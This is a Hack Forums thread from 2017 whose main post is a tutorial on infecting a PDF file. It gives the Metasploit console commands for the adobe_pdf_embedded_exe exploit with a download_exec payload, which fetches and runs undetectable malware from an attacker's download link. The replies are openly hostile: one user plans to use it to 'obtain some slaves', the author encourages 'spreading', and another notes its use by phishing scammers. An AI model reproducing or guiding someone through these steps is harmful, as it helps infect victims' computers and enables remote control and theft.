Hack Forums
Tutorial - How to Infect a PDF File - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Tutorial - How to Infect a PDF File (/showthread.php?tid=5622010)

Pages: Pages 1 2 3 4 5


Tutorial - How to Infect a PDF File - Crippy - May 13, 2017

Hi guys!

This tutorial will be infecting PDF files.
This is made for educational purposes only.

Things you need
Metasploit
A PDF Document
A FUD Server


You'll need a place where you can upload your FUD Server and get direct download links from it. I use Dropbox, you can use any website you want.

Install Metasploit and have a PDF Document ready. (Once 50+ post will include links)

Now we are going to infect the PDF Document.

1. Open Metasploit Console

2. Once the console type in
"use exploit/windows/fileformat/adobe_pdf_embedded_exe"
If you did it correct it would say "msf exploit (adobe_pdf_embedded_exe) >

3. Type this in
"set payload windows/download_exec"
When done correct it says "payload => windows/download_exec"

4. Type this in the console
"Set INFILENAME root/Desktop/infected.pdf"
Example: Set INFILENAME root/Downloads/infected.pdf

5. Type this in
"set url "link.to.your.server"
Example: set url download com/stub exe (spaces are dots)

6. Now final step is to type in
"Exploit"

If you have any questions drop it down there don't pm me because I can't pm you back, If someone has already made this Ill try to take this down. If you want more of these spreading methods just give me positive feedback Ill be encouraged to do more.

Can someone tell me how to do the Spolier where they have to press it to show more, thanks again.

Kind Regards, Crip

If any typing errors please tell me.


* - Kryptonet - May 13, 2017

(May 13, 2017 08:51 AM)Crippy Wrote:  Hi guys!

This tutorial will be infecting PDF files.
This is made for educational purposes only.

Things you need
Metasploit
A PDF Document
A FUD Server


You'll need a place where you can upload your FUD Server and get direct download links from it. I use Dropbox, you can use any website you want.

Install Metasploit and have a PDF Document ready. (Once 50+ post will include links)

Now we are going to infect the PDF Document.

1. Open Metasploit Console

2. Once the console type in
"use exploit/windows/fileformat/adobe_pdf_embedded_exe"
If you did it correct it would say "msf exploit (adobe_pdf_embedded_exe) >

3. Type this in
"set payload windows/download_exec"
When done correct it says "payload => windows/download_exec"

4. Type this in the console
"Set INFILENAME root/Desktop/infected.pdf"
Example: Set INFILENAME root/Downloads/infected.pdf

5. Type this in
"set url "link.to.your.server"
Example: set url download com/stub exe (spaces are dots)

6. Now final step is to type in
"Exploit"

If you have any questions drop it down there don't pm me because I can't pm you back, If someone has already made this Ill try to take this down. If you want more of these spreading methods just give me positive feedback Ill be encouraged to do more.

Can someone tell me how to do the Spolier where they have to press it to show more, thanks again.

Kind Regards, Crip

If any typing errors please tell me.

I goes thiss is outdated and not working for other devices


* - CodeDragon - May 13, 2017

Thanks for this will try it later


* - Crippy - May 13, 2017

(May 13, 2017 09:58 AM)CodeDragon Wrote:  Thanks for this will try it later

Your welcome.


* - Spartan- - May 13, 2017

Thank you for the simple guide. I will be using this to obtain some slaves. I will contact you if I encounter any problems.


* - Crippy - May 13, 2017

(May 13, 2017 10:45 AM)Spartan- Wrote:  Thank you for the simple guide. I will be using this to obtain some slaves. I will contact you if I encounter any problems.

No problem buddy


* - Littleman99 - May 14, 2017

good tutorial, thank you very much,


* - Crippy - May 14, 2017

(May 14, 2017 04:27 AM)Littleman99 Wrote:  good tutorial, thank you very much,
Thanks, your welcome!


* - Crippy - May 17, 2017

(May 13, 2017 09:47 AM)CrumbleDrop Wrote:  I goes thiss is outdated and not working for other devices

Still works not everyone has lastest PDF viewer. Its worth a go only about 10 minutes to setup and start spreading.

(May 13, 2017 09:47 AM)CrumbleDrop Wrote:  I goes thiss is outdated and not working for other devices

Still works not everyone has lastest PDF viewer. Its worth a go only about 10 minutes to setup and start spreading.


* - rayko0 Expert - May 17, 2017

nice tut .


* - YayHar - May 17, 2017

This is the equivalent of using Java Driveby.

You will still get some installs, but the execution rate is so low it's
really not worth the effort.


* - ݃݃݃๖ۣۜKosdff - May 17, 2017

Posting back to read this later as I am on mobile and this looks interesting :3


* - Malicious Intent - May 17, 2017

(May 17, 2017 08:41 AM)YayHar Wrote:  This is the equivalent of using Java Driveby.

You will still get some installs, but the execution rate is so low it's
really not worth the effort.

Correct. Although there is still a lot of Nigerian scammers using this for phishing.


* - Crippy - May 18, 2017

(May 17, 2017 08:33 AM)rayko0 Expert Wrote:  nice tut .

Thanks.


* - Hopsin - May 18, 2017

Thanks for sharing buddy, much appreciated indeed. Have a nice day! 🤝
Signature ~ Best regards, Hopsin.